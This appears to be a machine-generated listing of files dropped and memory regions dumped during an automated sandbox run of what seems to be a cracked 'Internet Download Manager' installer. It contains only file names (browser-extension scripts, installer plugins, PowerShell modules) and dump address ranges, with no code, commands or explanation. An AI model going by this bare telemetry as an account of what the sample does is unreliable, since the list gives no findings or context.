the-real-index
the-real-index~RFe58b939.TMP
Tabs_13431585244831276
000003.log
LOG
LOG
CURRENT
Last Version
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
data_1
Variations
kiilhncajadbgbmdbdcopdpnmdhlbdle_30477.crx
metadata.json
ukm_db
blocklist
settings.dat
settings.dat
settings.dat
the-real-index
the-real-index~RFe642ef0.TMP
SiteList-Enterprise.json
Edge Profile.ico
verified_contents.json
captured.html
content.js
debug.js
manifest.json
Network Persistent State
Network Persistent State
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
Local State
Local State
Local State
Local State
Local State
Local State
66A72841-2A10-41B9-824D-603413B5B582
946F3078-F603-4C30-B35F-4A1B144B91B1
webext.sc.lz4
FBHubApp_20260819T000752_b861742a-4bf1-4c04-a368-89905fb097f1.log.~tmp
2e8f55f7-ce17-4e0f-9b47-ef055fd9a606.tmp
38b1d5ef-9b61-4cfe-9ade-9a4a4793d52f.tmp
IDMSetup2.log
IDMSetup2.log
b3aorgiz.lto
hjiauwhs.vxh
rw5fnyor.o40
tphnz5iy.dqf
REGBC9D.tmp
__PSScriptPolicyTest_wyxgbcmp.414.ps1
b14ifqen.nupkg
Format.ps1xml
Microsoft.WinGet.Client.Cmdlets.dll-Help.xml
Microsoft.WinGet.Client.nuspec
Microsoft.WinGet.Client.psd1
NOTICE.txt
Microsoft.WinGet.Client.Engine.dll
Microsoft.WinGet.Client.Cmdlets.dll
Microsoft.Win32.Registry.dll
Microsoft.WinGet.SharedLib.dll
Newtonsoft.Json.dll
Octokit.dll
Semver.dll
Microsoft.Management.Deployment.dll
Microsoft.Management.Deployment.winmd
WindowsPackageManager.dll
winrtact.dll
Microsoft.Management.Deployment.dll
Microsoft.Management.Deployment.winmd
WindowsPackageManager.dll
winrtact.dll
Microsoft.Management.Deployment.dll
Microsoft.Management.Deployment.winmd
WindowsPackageManager.dll
winrtact.dll
Microsoft.WinGet.Client.Engine.dll
Microsoft.WinGet.Client.Cmdlets.dll
Newtonsoft.Json.dll
Semver.dll
b661fa1a-fd01-46ba-adff-5518b49ef978.tmp
Banner.dll
Header.bmp
InstallOptionsEx.dll
MultiLanguage.ini
MultiLanguage.ini
MultiLanguage.ini
SetupType.ini
SetupType.ini
System.dll
ioSpecial.ini
ioSpecial.ini
ioSpecial.ini
ioSpecial.ini
ioSpecial.ini
nsArray.dll
nsExec.dll
nsProcessW.dll
nsisXML.dll
bg.js
panel.js
opt.html
popup.html
content_new.js
messages.json
background.js
logo128.png
logo16.png
logo32.png
logo48.png
background.js
manifest.json
downloadedCertificate.txt
default.dic
5d696d521de238c3.customDestinations-ms
5d696d521de238c3.customDestinations-ms
d93f411851d7c929.customDestinations-ms
d93f411851d7c929.customDestinations-ms
d93f411851d7c929.customDestinations-ms
d93f411851d7c929.customDestinations-ms
data.safe.tmp
data.safe.tmp
events
22898a96-e60f-445e-953e-ab92e8f7381e
5cd86112-cd3d-4265-af75-61295a79ceff
7af347cb-a468-4c35-b21a-7bb7fbe6ed99
ca7961b6-4ce6-4b05-9923-403de0ac2d08
f287924e-9056-42e0-bd66-eb785f7d5fc5
fdcec378-3e39-4059-898a-872660bbfb63
prefs-1.js
prefs.js
sessionCheckpoints.json.tmp
Internet Download Manager 6.43 Build 9 Multilingual + Retail [FileCR].zip.crdownload
Internet Download Manager 6.43 Build 9 Multilingual + Retail [FileCR].zip:Zone.Identifier
IDM_6.4x_Crack_v20.6.exe:Zone.Identifier
SET1707.tmp
SET1708.tmp
SET1709.tmp
memory/1344-5174-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-7318-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5179-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5178-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5177-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5161-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6846-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6847-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6849-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5729-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5691-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5690-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5689-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5102-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4998-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4828-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4900-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5688-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4993-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5245-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5250-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6850-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6895-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6896-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-7317-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-5180-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4983-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-7330-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-7376-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-7377-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6834-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-6684-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4926-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4914-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4913-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4908-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1344-4899-0x0000000000400000-0x0000000000442000-memory.dmp
memory/1688-1579-0x00000000060A0000-0x00000000063F7000-memory.dmp
memory/1688-1569-0x00000000057B0000-0x0000000005DDA000-memory.dmp
memory/1688-1583-0x0000000006AA0000-0x0000000006ABA000-memory.dmp
memory/1688-1582-0x0000000007DB0000-0x000000000842A000-memory.dmp
memory/1688-1581-0x00000000065A0000-0x00000000065EC000-memory.dmp
memory/1688-1580-0x0000000006560000-0x000000000657E000-memory.dmp
memory/1688-1571-0x0000000005E50000-0x0000000005EB6000-memory.dmp
memory/1688-1572-0x0000000006030000-0x0000000006096000-memory.dmp
memory/1688-1568-0x0000000003080000-0x00000000030B6000-memory.dmp
memory/1688-1570-0x00000000056B0000-0x00000000056D2000-memory.dmp
memory/1800-5145-0x000002647EEC0000-0x000002647EECA000-memory.dmp
memory/1800-5146-0x000002647F1B0000-0x000002647F1D6000-memory.dmp
memory/1800-5144-0x000002647EF00000-0x000002647EF1C000-memory.dmp
memory/1800-5143-0x000002647EF70000-0x000002647F023000-memory.dmp
memory/2020-5683-0x00000000148C0000-0x00000000148E6000-memory.dmp
memory/2020-5189-0x000000006E3F0000-0x000000006E747000-memory.dmp
memory/2020-5256-0x00000000037E0000-0x00000000037F2000-memory.dmp
memory/2020-5487-0x0000000013EF0000-0x0000000013F2D000-memory.dmp
memory/2020-5661-0x0000000013FB0000-0x0000000013FBE000-memory.dmp
memory/2020-5665-0x0000000014800000-0x000000001482E000-memory.dmp
memory/2020-5670-0x000000006E1A0000-0x000000006E1B0000-memory.dmp
memory/2020-5675-0x0000000014750000-0x000000001476A000-memory.dmp
memory/2020-5677-0x0000000014420000-0x000000001442A000-memory.dmp
memory/2020-5672-0x0000000014400000-0x000000001440A000-memory.dmp
memory/2020-5681-0x0000000014830000-0x000000001484C000-memory.dmp
memory/2020-5682-0x0000000010B40000-0x0000000010B4A000-memory.dmp
memory/2020-5242-0x0000000014470000-0x00000000144E6000-memory.dmp
memory/2020-5685-0x0000000014C40000-0x0000000014D68000-memory.dmp
memory/2020-5238-0x00000000142B0000-0x00000000142DC000-memory.dmp
memory/2020-5214-0x000000000E8D0000-0x000000000E8D8000-memory.dmp
memory/2020-5205-0x0000000010E20000-0x0000000010E2A000-memory.dmp
memory/2020-5206-0x0000000017790000-0x00000000177D0000-memory.dmp
memory/2020-5202-0x0000000010BB0000-0x0000000010BC6000-memory.dmp
memory/2020-5204-0x0000000016FB0000-0x0000000016FC4000-memory.dmp
memory/2020-5203-0x0000000010B50000-0x0000000010B68000-memory.dmp
memory/2020-5201-0x0000000016F20000-0x0000000016F64000-memory.dmp
memory/2020-5200-0x0000000010B80000-0x0000000010BAE000-memory.dmp
memory/2020-5199-0x0000000010B60000-0x0000000010B68000-memory.dmp
memory/2020-5198-0x0000000010B20000-0x0000000010B3A000-memory.dmp
memory/2020-5197-0x0000000010C30000-0x0000000010C45000-memory.dmp
memory/2020-5196-0x000000000F9E0000-0x000000000F9EE000-memory.dmp
memory/2020-5255-0x0000000001500000-0x000000000150A000-memory.dmp
memory/2020-5188-0x00000000058E0000-0x00000000058E8000-memory.dmp
memory/2020-4960-0x00000000720A0000-0x00000000720EC000-memory.dmp
memory/2020-4967-0x00000000086C0000-0x0000000008764000-memory.dmp
memory/2020-4968-0x00000000087E0000-0x00000000087F1000-memory.dmp
memory/2020-4969-0x0000000008C30000-0x0000000008CC2000-memory.dmp
memory/2020-4971-0x00000000095C0000-0x000000000960A000-memory.dmp
memory/2020-4972-0x00000000097C0000-0x00000000097C8000-memory.dmp
memory/2020-4981-0x000000000EF50000-0x000000000F0D8000-memory.dmp
memory/2020-4974-0x00000000097F0000-0x00000000097FE000-memory.dmp
memory/2020-4973-0x0000000009AB0000-0x0000000009AE8000-memory.dmp
memory/2380-5033-0x0000024CCB380000-0x0000024CCB4F6000-memory.dmp
memory/2380-5034-0x0000024CCB710000-0x0000024CCB91A000-memory.dmp
memory/2548-5065-0x0000028C72870000-0x0000028C7288C000-memory.dmp
memory/2548-5066-0x0000028C729B0000-0x0000028C72A63000-memory.dmp
memory/2548-5067-0x0000028C72890000-0x0000028C7289A000-memory.dmp
memory/2548-5068-0x0000028C72BE0000-0x0000028C72BFC000-memory.dmp
memory/4124-7346-0x000000000E5F0000-0x000000000E5F8000-memory.dmp
memory/4124-7338-0x00000000134B0000-0x00000000134B8000-memory.dmp
memory/4392-2677-0x00000000060F0000-0x0000000006447000-memory.dmp
memory/4392-2699-0x0000000007A10000-0x0000000007BD2000-memory.dmp
memory/4392-2700-0x00000000089E0000-0x0000000008F0C000-memory.dmp
memory/4436-3704-0x0000000000400000-0x000000000042B000-memory.dmp
memory/4436-3278-0x0000000000400000-0x000000000042B000-memory.dmp
memory/4768-4911-0x0000000000400000-0x000000000042B000-memory.dmp
memory/5136-1662-0x0000000002A50000-0x0000000002A73000-memory.dmp
memory/5136-1597-0x00000000023C0000-0x00000000023E3000-memory.dmp
memory/6048-2572-0x0000000007C90000-0x0000000007C9A000-memory.dmp
memory/6048-2570-0x0000000007870000-0x000000000788E000-memory.dmp
memory/6048-2562-0x000000006FC20000-0x000000006FC6C000-memory.dmp
memory/6048-2561-0x00000000078C0000-0x00000000078F4000-memory.dmp
memory/6048-2563-0x000000006FDA0000-0x00000000700F7000-memory.dmp
memory/6048-2571-0x0000000007900000-0x00000000079A4000-memory.dmp
memory/6048-2577-0x0000000008EE0000-0x0000000009486000-memory.dmp
memory/6048-2573-0x0000000007EC0000-0x0000000007F56000-memory.dmp
memory/6048-2574-0x0000000006330000-0x0000000006341000-memory.dmp
memory/6048-2576-0x0000000007E20000-0x0000000007E42000-memory.dmp
memory/6568-7662-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7381-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7661-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7384-0x00007FFF48150000-0x00007FFF48160000-memory.dmp
memory/6568-7383-0x00007FFF48150000-0x00007FFF48160000-memory.dmp
memory/6568-7663-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7664-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7382-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7379-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7380-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6568-7378-0x00007FFF4AC30000-0x00007FFF4AC40000-memory.dmp
memory/6916-4581-0x0000000000400000-0x000000000042B000-memory.dmp
memory/6916-3737-0x0000000000400000-0x000000000042B000-memory.dmp
memory/6976-4927-0x00000000720A0000-0x00000000720EC000-memory.dmp
memory/6976-4935-0x0000000007650000-0x0000000007661000-memory.dmp
memory/6976-4925-0x00000000061A0000-0x00000000061EC000-memory.dmp
memory/6976-4923-0x0000000005CA0000-0x0000000005FF7000-memory.dmp
memory/6976-4934-0x0000000007310000-0x00000000073B4000-memory.dmp
memory/7048-7121-0x0000000011640000-0x000000001167D000-memory.dmp
memory/7048-6866-0x000000000E410000-0x000000000E418000-memory.dmp
memory/7048-6858-0x00000000073D0000-0x00000000073D8000-memory.dmp
memory/7048-7305-0x000000006E1E0000-0x000000006E1F0000-memory.dmp
memory/7096-2542-0x0000000006230000-0x000000000627C000-memory.dmp
memory/7096-2541-0x00000000057E0000-0x0000000005B37000-memory.dmp
memory/7512-4879-0x000001B3B3730000-0x000001B3B389A000-memory.dmp
memory/8020-4862-0x00000174F8EE0000-0x00000174F8F02000-memory.dmp
memory/8080-4827-0x0000000000400000-0x000000000042B000-memory.dmp